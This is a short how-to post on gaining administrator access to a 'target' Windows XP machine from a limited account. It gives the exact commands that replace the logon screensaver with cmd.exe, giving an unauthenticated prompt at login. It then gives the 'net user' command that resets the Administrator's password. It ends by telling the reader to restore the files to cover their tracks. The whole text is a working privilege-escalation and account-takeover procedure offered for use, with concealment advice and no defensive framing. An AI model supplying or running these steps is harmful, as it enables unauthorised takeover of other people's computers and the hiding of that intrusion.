How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly:

cd\
cd\windows\system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit

Now, let me explain what each command does in detail:

cd\	drops to root
cd\windows\system32	directs to the system32 dir
mkdir temphack	creates the folder temphack
copy logon.scr temphack\logon.scr	backsup logon.scr
copy cmd.exe temphack\cmd.exe	backsup cmd.exe
del logon.scr	deletes original logon.scr
rename cmd.exe logon.scr	renames cmd.exe to logon.scr
exit	quits dos

What you have just done above is that you have told the computer’s operating system to backup the command program (cmd.exe) and the screen saver file (logon.scr), then edited the settings so that when the computer’s operating system boots to the screen saver, you will get an unprotected dos prompt with out logging into XP.

Once this happens, all you have to do is to enter this command at the command prompt

net user USER PASSWORD

Replace the USER with the Administrator’s account name and the password that you wish to be the new admin password. If the Administrator Account is called “Frank” and you want the password “blah” enter this

net user Frank blah

This changes the password on Frank’s account to “blah” and you have successfully hacked in to the XP system.

Don’t forget to copy the contents of temphack folder back into the system32 dir to cover your tracks.
